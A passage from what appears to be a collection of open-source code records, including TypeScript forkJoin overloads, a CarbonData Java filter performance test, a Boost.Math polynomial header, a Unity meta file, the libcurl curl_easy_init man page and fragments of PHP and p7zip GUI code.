elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @template T4 The type of the elements in the fourth source sequence.\n * @template T5 The type of the elements in the fifth source sequence.\n * @template T6 The type of the elements in the sixth source sequence.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @param {AsyncIterable} source4 Fourth async-iterable source.\n * @param {AsyncIterable} source5 Fifth async-iterable source.\n * @param {AsyncIterable} source6 Sixth async-iterable source.\n * @returns {(Promise<[T, T2, T3, T4, T5, T6] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable,\n source4: AsyncIterable,\n source5: AsyncIterable,\n source6: AsyncIterable\n): Promise<[T, T2, T3, T4, T5, T6] | undefined>;\n\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @param {AbortSignal} signal An abort signal used for cancellation at any time.\n * @param {AsyncIterable} source First async-iterable source.\n * @returns {(Promise<[T] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n signal: AbortSignal,\n source: AsyncIterable\n): Promise<[T] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @param {AbortSignal} signal An abort signal used for cancellation at any time.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @returns {(Promise<[T, T2] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n signal: AbortSignal,\n source: AsyncIterable,\n source2: AsyncIterable\n): Promise<[T, T2] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @param {AbortSignal} signal An abort signal used for cancellation at any time.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @returns {(Promise<[T, T2, T3] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n signal: AbortSignal,\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable\n): Promise<[T, T2, T3] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @template T4 The type of the elements in the fourth source sequence.\n * @param {AbortSignal} signal An abort signal used for cancellation at any time.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @param {AsyncIterable} source4 Fourth async-iterable source.\n * @returns {(Promise<[T, T2, T3, T4] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n signal: AbortSignal,\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable,\n source4: AsyncIterable\n): Promise<[T, T2, T3, T4] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @template T4 The type of the elements in the fourth source sequence.\n * @template T5 The type of the elements in the fifth source sequence.\n * @param {AbortSignal} signal An abort signal used for cancellation at any time.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @param {AsyncIterable} source4 Fourth async-iterable source.\n * @param {AsyncIterable} source5 Fifth async-iterable source.\n * @returns {(Promise<[T, T2, T3, T4, T5] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n signal: AbortSignal,\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable,\n source4: AsyncIterable,\n source5: AsyncIterable\n): Promise<[T, T2, T3, T4, T5] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @template T4 The type of the elements in the fourth source sequence.\n * @template T5 The type of the elements in the fifth source sequence.\n * @template T6 The type of the elements in the sixth source sequence.\n * @param {AbortSignal} signal An abort signal used for cancellation at any time.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @param {AsyncIterable} source4 Fourth async-iterable source.\n * @param {AsyncIterable} source5 Fifth async-iterable source.\n * @param {AsyncIterable} source6 Sixth async-iterable source.\n * @returns {(Promise<[T, T2, T3, T4, T5, T6] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n signal: AbortSignal,\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable,\n source4: AsyncIterable,\n source5: AsyncIterable,\n source6: AsyncIterable\n): Promise<[T, T2, T3, T4, T5, T6] | undefined>;\n\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the source sequences.\n * @param {...AsyncIterable[]} sources The source sequences.\n * @returns {(Promise)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(...sources: AsyncIterable[]): Promise;\n\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the source sequences.\n * @param {AbortSignal} signal An abort signal used for cancellation at any time.\n * @param {...AsyncIterable[]} sources The source sequences.\n * @returns {(Promise)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n signal: AbortSignal,\n ...sources: AsyncIterable[]\n): Promise;\n\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the source sequences.\n * @param {...any[]} sources Async-iterable sequence to collect the last elements for.\n * @returns {(Promise)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport async function forkJoin(...sources: any[]): Promise {\n let signal = sources.shift() as AbortSignal | undefined;\n if (!(signal instanceof AbortSignal)) {\n sources.unshift(signal);\n signal = undefined;\n }\n\n const length = sources.length;\n const iterators = new Array>(length);\n const nexts = new Array>>>(length);\n\n let active = length;\n const values = new Array(length);\n const hasValues = new Array(length);\n hasValues.fill(false);\n\n for (let i = 0; i < length; i++) {\n const iterator = wrapWithAbort(sources[i], signal)[Symbol.asyncIterator]();\n iterators[i] = iterator;\n nexts[i] = wrapPromiseWithIndex(iterator.next(), i);\n }\n\n while (active > 0) {\n const next = Promise.race(nexts);\n const { value: next$, index } = await next;\n if (next$.done) {\n nexts[index] = >>>NEVER_PROMISE;\n active--;\n } else {\n const iterator$ = iterators[index];\n nexts[index] = wrapPromiseWithIndex(iterator$.next(), index);\n hasValues[index] = true;\n values[index] = next$.value;\n }\n }\n\n if (hasValues.length > 0 && hasValues.every(identity)) {\n return values;\n }\n\n return undefined;\n}\n"} -{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to You under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.apache.carbondata.core.scan.filter.executer;\n\nimport java.util.BitSet;\n\nimport org.apache.carbondata.core.datastore.chunk.DimensionColumnPage;\nimport org.apache.carbondata.core.datastore.chunk.impl.FixedLengthDimensionColumnPage;\nimport org.apache.carbondata.core.util.CarbonUtil;\n\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport junit.framework.TestCase;\n\npublic class IncludeFilterExecutorImplTest extends TestCase {\n\n /**\n * @throws Exception\n */\n @Before\n public void setUp() throws Exception {\n\n }\n\n public BitSet setFilterdIndexToBitSetNew(DimensionColumnPage dimensionColumnPage,\n int numerOfRows, byte[][] filterValues) {\n BitSet bitSet = new BitSet(numerOfRows);\n if (dimensionColumnPage instanceof FixedLengthDimensionColumnPage) {\n // byte[][] filterValues = dimColumnExecuterInfo.getFilterKeys();\n if (filterValues.length > 1) {\n for (int i = 0; i < numerOfRows; i++) {\n int index = CarbonUtil.binarySearch(filterValues, 0, filterValues.length - 1,\n dimensionColumnPage, i);\n if (index >= 0) {\n bitSet.set(i);\n }\n }\n } else if (filterValues.length == 1) {\n for (int i = 0; i < numerOfRows; i++) {\n if (dimensionColumnPage.compareTo(i, filterValues[0]) == 0) {\n bitSet.set(i);\n }\n }\n }\n }\n return bitSet;\n }\n\n public BitSet setFilterdIndexToBitSet(DimensionColumnPage dimensionColumnPage, int numerOfRows,\n byte[][] filterValues) {\n BitSet bitSet = new BitSet(numerOfRows);\n if (dimensionColumnPage instanceof FixedLengthDimensionColumnPage) {\n // byte[][] filterValues = dimColumnExecuterInfo.getFilterKeys();\n for (int k = 0; k < filterValues.length; k++) {\n for (int j = 0; j < numerOfRows; j++) {\n if (dimensionColumnPage.compareTo(j, filterValues[k]) == 0) {\n bitSet.set(j);\n }\n }\n }\n }\n return bitSet;\n }\n\n /**\n * change int to byte[]\n * \n * @param value\n * @param size\n * @return byte[]\n */\n private byte[] transferIntToByteArr(int value, int size) {\n byte[] targets = new byte[size];\n for (int i = 0; i < size; i++) {\n int data = value;\n for (int j = i; j < size - 1; j++) {\n data = data >> 8;\n }\n data = data & 0xFF;\n targets[i] = (byte) (data & 0xFF);\n }\n return targets;\n }\n\n @Test\n public void testPerformance() {\n\n // dimension's data number in a blocklet, usually default is 32000\n int dataChunkSize = 32000; \n // repeat query times in the test\n int queryTimes = 5; \n // repeated times for a dictionary value\n int repeatTimes = 200;\n //filtered value count in a blocklet\n int filteredValueCnt = 800;\n comparePerformance(dataChunkSize, filteredValueCnt, queryTimes, repeatTimes);\n \n filteredValueCnt = 100;\n // set big repeat value for test dimension dictionary size is 1\n repeatTimes = 2000;\n comparePerformance(dataChunkSize, filteredValueCnt, queryTimes, repeatTimes);\n\n }\n \n /**\n * Tests the filterKeys.length = 0 and filterKeys.length = 1\n */\n @Test\n public void testBoundary() {\n\n\t// dimension's data number in a blocklet, usually default is 32000\n int dataChunkSize = 32000; \n // repeat query times in the test\n int queryTimes = 5; \n // repeated times for a dictionary value\n int repeatTimes = 20;\n //filtered value count in a blocklet\n int filteredValueCnt = 1;\n comparePerformance(dataChunkSize, filteredValueCnt, queryTimes, repeatTimes);\n \n filteredValueCnt = 0;\n comparePerformance(dataChunkSize, filteredValueCnt, queryTimes, repeatTimes);\n\n }\n\n /**\n * comapre result and performance\n * \n * @param dataChunkSize dataChunk's stored data size\n * @param filteredValueCnt filtered dictionary value count\n * @param queryTimes repeat query times in the test\n * @param repeatTimes repeated times for a dictionary value\n * @return \n */\n private void comparePerformance(int dataChunkSize, int filteredValueCnt,\n int queryTimes, int repeatTimes) {\n long start;\n long oldTime = 0;\n long newTime = 0;\n \n // used to generate filter value\n int baseFilteredValue = 100;\n // column dictionary size\n int dimColumnSize = 2;\n if ((dataChunkSize / repeatTimes) <= 255 && (baseFilteredValue+filteredValueCnt) <= 255) {\n dimColumnSize = 1;\n }\n System.out.println(\"dimColumnSize: \" + dimColumnSize);\n \n FixedLengthDimensionColumnPage dimensionColumnDataChunk;\n DimColumnExecutorFilterInfo dim = new DimColumnExecutorFilterInfo();\n\n byte[] dataChunk = new byte[dataChunkSize * dimColumnSize];\n for (int i = 0; i < dataChunkSize; i++) {\n if (i % repeatTimes == 0) {\n repeatTimes++;\n }\n byte[] data = transferIntToByteArr(repeatTimes, dimColumnSize); \n for(int j =0 ; j< dimColumnSize;j++){ \n dataChunk[dimColumnSize * i + j] = data[j];\n }\n }\n\n byte[][] filterKeys = new byte[filteredValueCnt][2];\n for (int k = 0; k < filteredValueCnt; k++) {\n filterKeys[k] = transferIntToByteArr(baseFilteredValue + k, dimColumnSize);\n }\n dim.setFilterKeys(filterKeys);\n\n dimensionColumnDataChunk = new FixedLengthDimensionColumnPage(dataChunk, null, null,\n dataChunkSize, dimColumnSize, dataChunk.length);\n\n // repeat query and compare 2 result between old code and new optimized code\n for (int j = 0; j < queryTimes; j++) {\n\n start = System.currentTimeMillis();\n BitSet bitOld = this.setFilterdIndexToBitSet(dimensionColumnDataChunk, dataChunkSize, filterKeys);\n oldTime = oldTime + System.currentTimeMillis() - start;\n\n start = System.currentTimeMillis();\n BitSet bitNew = this.setFilterdIndexToBitSetNew(dimensionColumnDataChunk, dataChunkSize,\n filterKeys);\n newTime = newTime + System.currentTimeMillis() - start;\n\n assertTrue(bitOld.equals(bitNew));\n }\n\n if (filteredValueCnt >= 100) {\n Assert.assertTrue(newTime <= oldTime);\n }\n\n System.out.println(\"old code performance time: \" + oldTime + \" ms\");\n System.out.println(\"new code performance time: \" + newTime + \" ms\");\n System.out.println(\"filteredValueCnt: \" + filteredValueCnt);\n\n }\n\n\n private BitSet setFilterdIndexToBitSetWithColumnIndexOld(FixedLengthDimensionColumnPage dimensionColumnDataChunk,\n int numerOfRows, byte[][] filterValues) {\n BitSet bitSet = new BitSet(numerOfRows);\n int start = 0;\n int last = 0;\n int startIndex = 0;\n // byte[][] filterValues = dimColumnExecuterInfo.getFilterKeys();\n for (int i = 0; i < filterValues.length; i++) {\n start = CarbonUtil.getFirstIndexUsingBinarySearch(dimensionColumnDataChunk, startIndex, numerOfRows - 1,\n filterValues[i], false);\n if (start < 0) {\n continue;\n }\n bitSet.set(start);\n last = start;\n for (int j = start + 1; j < numerOfRows; j++) {\n if (dimensionColumnDataChunk.compareTo(j, filterValues[i]) == 0) {\n bitSet.set(j);\n last++;\n } else {\n break;\n }\n }\n startIndex = last;\n if (startIndex >= numerOfRows) {\n break;\n }\n }\n return bitSet;\n }\n\n private BitSet setFilterdIndexToBitSetWithColumnIndexNew(FixedLengthDimensionColumnPage dimensionColumnDataChunk,\n int numerOfRows, byte[][] filterValues) {\n BitSet bitSet = new BitSet(numerOfRows);\n int startIndex = 0;\n // byte[][] filterValues = dimColumnExecuterInfo.getFilterKeys();\n for (int i = 0; i < filterValues.length; i++) {\n int[] rangeIndex = CarbonUtil.getRangeIndexUsingBinarySearch(dimensionColumnDataChunk, startIndex,\n numerOfRows - 1, filterValues[i]);\n for (int j = rangeIndex[0]; j <= rangeIndex[1]; j++) {\n\n bitSet.set(j);\n }\n\n if (rangeIndex[1] > -1) {\n startIndex = rangeIndex[1];\n }\n }\n return bitSet;\n }\n\n @Test\n public void testRangBinarySearch() {\n\n long oldTime = 0;\n long newTime = 0;\n long start;\n long end;\n\n // dimension's data number in a blocklet, usually default is 32000\n int dataChunkSize = 32000;\n // repeat query times in the test\n int queryTimes = 10000;\n // repeated times for a dictionary value\n int repeatTimes = 200;\n //filtered value count in a blocklet\n int filteredValueCnt = 800;\n // column dictionary size\n int dimColumnSize = 2;\n FixedLengthDimensionColumnPage dimensionColumnDataChunk;\n DimColumnExecutorFilterInfo dim = new DimColumnExecutorFilterInfo();\n\n byte[] dataChunk = new byte[dataChunkSize * dimColumnSize];\n for (int i = 0; i < dataChunkSize; i++) {\n\n if (i % repeatTimes == 0) {\n repeatTimes++;\n }\n\n byte[] data = transferIntToByteArr(repeatTimes, dimColumnSize);\n dataChunk[2 * i] = data[0];\n dataChunk[2 * i + 1] = data[1];\n\n }\n\n byte[][] filterKeys = new byte[filteredValueCnt][2];\n for (int k = 0; k < filteredValueCnt; k++) {\n filterKeys[k] = transferIntToByteArr(100 + k, dimColumnSize);\n }\n dim.setFilterKeys(filterKeys);\n\n dimensionColumnDataChunk = new FixedLengthDimensionColumnPage(dataChunk, null, null,\n dataChunk.length / dimColumnSize, dimColumnSize, dataChunk.length);\n\n // initial to run\n BitSet bitOld = this.setFilterdIndexToBitSetWithColumnIndexOld(dimensionColumnDataChunk, dataChunkSize, filterKeys);\n BitSet bitNew = this.setFilterdIndexToBitSetWithColumnIndexNew(dimensionColumnDataChunk, dataChunkSize, filterKeys);\n\n // performance run\n for (int j = 0; j < queryTimes; j++) {\n\n start = System.currentTimeMillis();\n bitOld = this.setFilterdIndexToBitSetWithColumnIndexOld(dimensionColumnDataChunk, dataChunkSize, filterKeys);\n end = System.currentTimeMillis();\n oldTime = oldTime + end - start;\n\n start = System.currentTimeMillis();\n bitNew = this.setFilterdIndexToBitSetWithColumnIndexNew(dimensionColumnDataChunk, dataChunkSize, filterKeys);\n end = System.currentTimeMillis();\n newTime = newTime + end - start;\n\n assertTrue(bitOld.equals(bitNew));\n\n }\n\n System.out.println(\"old code performance time: \" + oldTime + \" ms\");\n System.out.println(\"new code performance time: \" + newTime + \" ms\");\n\n }\n\n}\n"} -{"text": "// (C) Copyright John Maddock 2007.\n// Use, modification and distribution are subject to the\n// Boost Software License, Version 1.0. (See accompanying file\n// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n// This file is machine generated, do not edit by hand\n\n// Polynomial evaluation using second order Horners rule\n#ifndef BOOST_MATH_TOOLS_POLY_EVAL_15_HPP\n#define BOOST_MATH_TOOLS_POLY_EVAL_15_HPP\n\nnamespace boost{ namespace math{ namespace tools{ namespace detail{\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T*, const V&, const mpl::int_<0>*) BOOST_MATH_NOEXCEPT(V)\n{\n return static_cast(0);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V&, const mpl::int_<1>*) BOOST_MATH_NOEXCEPT(V)\n{\n return static_cast(a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<2>*) BOOST_MATH_NOEXCEPT(V)\n{\n return static_cast(a[1] * x + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<3>*) BOOST_MATH_NOEXCEPT(V)\n{\n return static_cast((a[2] * x + a[1]) * x + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<4>*) BOOST_MATH_NOEXCEPT(V)\n{\n return static_cast(((a[3] * x + a[2]) * x + a[1]) * x + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<5>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast((a[4] * x2 + a[2]) * x2 + a[0] + (a[3] * x2 + a[1]) * x);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<6>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast(((a[5] * x2 + a[3]) * x2 + a[1]) * x + (a[4] * x2 + a[2]) * x2 + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<7>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast(((a[6] * x2 + a[4]) * x2 + a[2]) * x2 + a[0] + ((a[5] * x2 + a[3]) * x2 + a[1]) * x);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<8>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast((((a[7] * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x + ((a[6] * x2 + a[4]) * x2 + a[2]) * x2 + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<9>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast((((a[8] * x2 + a[6]) * x2 + a[4]) * x2 + a[2]) * x2 + a[0] + (((a[7] * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<10>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast(((((a[9] * x2 + a[7]) * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x + (((a[8] * x2 + a[6]) * x2 + a[4]) * x2 + a[2]) * x2 + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<11>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast(((((a[10] * x2 + a[8]) * x2 + a[6]) * x2 + a[4]) * x2 + a[2]) * x2 + a[0] + ((((a[9] * x2 + a[7]) * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<12>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast((((((a[11] * x2 + a[9]) * x2 + a[7]) * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x + ((((a[10] * x2 + a[8]) * x2 + a[6]) * x2 + a[4]) * x2 + a[2]) * x2 + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<13>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast((((((a[12] * x2 + a[10]) * x2 + a[8]) * x2 + a[6]) * x2 + a[4]) * x2 + a[2]) * x2 + a[0] + (((((a[11] * x2 + a[9]) * x2 + a[7]) * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<14>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast(((((((a[13] * x2 + a[11]) * x2 + a[9]) * x2 + a[7]) * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x + (((((a[12] * x2 + a[10]) * x2 + a[8]) * x2 + a[6]) * x2 + a[4]) * x2 + a[2]) * x2 + a[0]);\n}\n\ntemplate \ninline V evaluate_polynomial_c_imp(const T* a, const V& x, const mpl::int_<15>*) BOOST_MATH_NOEXCEPT(V)\n{\n V x2 = x * x;\n return static_cast(((((((a[14] * x2 + a[12]) * x2 + a[10]) * x2 + a[8]) * x2 + a[6]) * x2 + a[4]) * x2 + a[2]) * x2 + a[0] + ((((((a[13] * x2 + a[11]) * x2 + a[9]) * x2 + a[7]) * x2 + a[5]) * x2 + a[3]) * x2 + a[1]) * x);\n}\n\n\n}}}} // namespaces\n\n#endif // include guard\n\n"} -{"text": "fileFormatVersion: 2\nguid: 42a14c30761d02648aee3c20858ffdae\ntimeCreated: 1488566475\nlicenseType: Free\nTextureImporter:\n fileIDToRecycleName: {}\n serializedVersion: 2\n mipmaps:\n mipMapMode: 0\n enableMipMap: 1\n linearTexture: 0\n correctGamma: 0\n fadeOut: 0\n borderMipMap: 0\n mipMapFadeDistanceStart: 1\n mipMapFadeDistanceEnd: 3\n bumpmap:\n convertToNormalMap: 0\n externalNormalMap: 0\n heightScale: 0.25\n normalMapFilter: 0\n isReadable: 0\n grayScaleToAlpha: 0\n generateCubemap: 0\n cubemapConvolution: 0\n cubemapConvolutionSteps: 7\n cubemapConvolutionExponent: 1.5\n seamlessCubemap: 0\n textureFormat: -1\n maxTextureSize: 2048\n textureSettings:\n filterMode: -1\n aniso: -1\n mipBias: -1\n wrapMode: -1\n nPOTScale: 1\n lightmap: 0\n rGBM: 0\n compressionQuality: 50\n spriteMode: 0\n spriteExtrude: 1\n spriteMeshType: 1\n alignment: 0\n spritePivot: {x: 0.5, y: 0.5}\n spriteBorder: {x: 0, y: 0, z: 0, w: 0}\n spritePixelsToUnits: 100\n alphaIsTransparency: 1\n spriteTessellationDetail: -1\n textureType: -1\n buildTargetSettings: []\n spriteSheet:\n serializedVersion: 2\n sprites: []\n outline: []\n spritePackingTag: \n userData: \n assetBundleName: \n assetBundleVariant: \n"} -{"text": ".\\\" **************************************************************************\n.\\\" * _ _ ____ _\n.\\\" * Project ___| | | | _ \\| |\n.\\\" * / __| | | | |_) | |\n.\\\" * | (__| |_| | _ <| |___\n.\\\" * \\___|\\___/|_| \\_\\_____|\n.\\\" *\n.\\\" * Copyright (C) 1998 - 2014, Daniel Stenberg, , et al.\n.\\\" *\n.\\\" * This software is licensed as described in the file COPYING, which\n.\\\" * you should have received as part of this distribution. The terms\n.\\\" * are also available at https://curl.haxx.se/docs/copyright.html.\n.\\\" *\n.\\\" * You may opt to use, copy, modify, merge, publish, distribute and/or sell\n.\\\" * copies of the Software, and permit persons to whom the Software is\n.\\\" * furnished to do so, under the terms of the COPYING file.\n.\\\" *\n.\\\" * This software is distributed on an \"AS IS\" basis, WITHOUT WARRANTY OF ANY\n.\\\" * KIND, either express or implied.\n.\\\" *\n.\\\" **************************************************************************\n.TH curl_easy_init 3 \"4 March 2002\" \"libcurl 7.8.1\" \"libcurl Manual\"\n.SH NAME\ncurl_easy_init - Start a libcurl easy session\n.SH SYNOPSIS\n.B #include \n\n.BI \"CURL *curl_easy_init( );\"\n.SH DESCRIPTION\nThis function must be the first function to call, and it returns a CURL easy\nhandle that you must use as input to other functions in the easy\ninterface. This call \\fBMUST\\fP have a corresponding call to\n\\fIcurl_easy_cleanup(3)\\fP when the operation is complete.\n\nIf you did not already call \\fIcurl_global_init(3)\\fP, \\fIcurl_easy_init(3)\\fP\ndoes it automatically. This may be lethal in multi-threaded cases, since\n\\fIcurl_global_init(3)\\fP is not thread-safe, and it may result in resource\nproblems because there is no corresponding cleanup.\n\nYou are strongly advised to not allow this automatic behaviour, by calling\n\\fIcurl_global_init(3)\\fP yourself properly. See the description in\n\\fBlibcurl\\fP(3) of global environment requirements for details of how to use\nthis function.\n.SH RETURN VALUE\nIf this function returns NULL, something went wrong and you cannot use the\nother curl functions.\n.SH EXAMPLE\n.nf\nCURL *curl = curl_easy_init();\nif(curl) {\n CURLcode res;\n curl_easy_setopt(curl, CURLOPT_URL, \"http://example.com\");\n res = curl_easy_perform(curl);\n curl_easy_cleanup(curl);\n}\n.fi\n.SH \"SEE ALSO\"\n.BR curl_easy_cleanup \"(3), \" curl_global_init \"(3), \" curl_easy_reset \"(3), \"\n.BR curl_easy_perform \"(3) \"\n"} -{"text": "getData(self::OPERATIONS_LIST);\n }\n\n /**\n * @inheritDoc\n */\n public function setOperationsList($operationStatusList)\n {\n return $this->setData(self::OPERATIONS_LIST, $operationStatusList);\n }\n}\n"} -{"text": "// wxGUI.cpp\n\n#include \"StdAfx.h\"\n\n// For compilers that support precompilation, includes \"wx/wx.h\".\n#include \"wx/wxprec.h\"\n \n#ifdef __BORLANDC__\n #pragma hdrstop\n#endif\n\n// for all others, include the necessary headers (this file is usually all you\n// need because it includes almost all \"standard\" wxWidgets headers)\n#ifndef WX_PRECOMP\n #include \"wx/wx.h\"\n#endif\n\n#define static const\n#include \"../GUI/p7zip_32.xpm\"\n#undef static\n\n#undef ACTIVATE_DIALOG_TESTS\n\nint Main1(int argc,TCHAR **argv);\n\n#include \"Windows/Registry.h\"\nusing namespace NWindows;\nusing namespace NRegistry;\n\n\n#include \"Common/StringConvert.h\"\n#include \"Windows/FileDir.h\"\n#include \"Windows/Synchronization.h\"\n\n#include \"ExtractRes.h\"\n#include \"../Explorer/MyMessages.h\"\n\n#include \"ExtractGUI.h\"\n#include \"UpdateGUI.h\"\n#include \"BenchmarkDialog.h\"\n#include \"../FileManager/RegistryUtils.h\"\n\nusing namespace NWindows;\nusing namespace NFile;\n\n#include \"../FileManager/ProgramLocation.h\"\n\nstatic LPCWSTR kHelpFileName = L\"help/\";\n\nvoid ShowHelpWindow(HWND hwnd, LPCWSTR topicFile)\n{\n UString path;\n if (!::GetProgramFolderPath(path))\n return;\n path += kHelpFileName;\n path += topicFile;\n printf(\"ShowHelpWindow(%p,%ls)=>%ls\\n\",hwnd,topicFile,(const wchar_t *)path);\n // HtmlHelp(hwnd, GetSystemString(path), HH_DISPLAY_TOPIC, NULL);\n wxString path2(path);\n wxLaunchDefaultBrowser(path2);\n}\n\n////////////////////////////// TRIES ///////////////////////////////////\n\n#ifdef ACTIVATE_DIALOG_TESTS\nstatic void ErrorMessage(const wchar_t *message)\n{\n MessageBox(0,message, wxT(\"7-Zip GUI\"),wxICON_ERROR);\n}\n\n#include \"../FileManager/PasswordDialog.h\"\n#include \"../FileManager/MessagesDialog.h\"\n#include \"../FileManager/OverwriteDialog.h\"\n#include \"Windows/Thread.h\"\n\nvoid myErrorMsg(const wchar_t *message)\n{\n\tMessageBox(0,message, wxT(\"Message\"),wxICON_ERROR);\n}\n\nvoid testCMessagesDialog()\n{\n\tUStringVector Messages;\n\n\tMessages.Add(L\"message 1\");\n\tMessages.Add(L\"message 2\");\n\tMessages.Add(L\"message 3\");\n\tMessages.Add(L\"message 4\");\n\tMessages.Add(L\"message 5\");\n\tMessages.Add(L\"message 6\");\n\tMessages.Add(L\"message 7\");\n\tMessages.Add(L\"message 8\");\n\tMessages.Add(L\"message 9\");\n\n\tCMessagesDialog messagesDialog;\n messagesDialog.Messages = &Messages;\n int ret = messagesDialog.Create( 0 ); // ParentWindow\n\n \tif 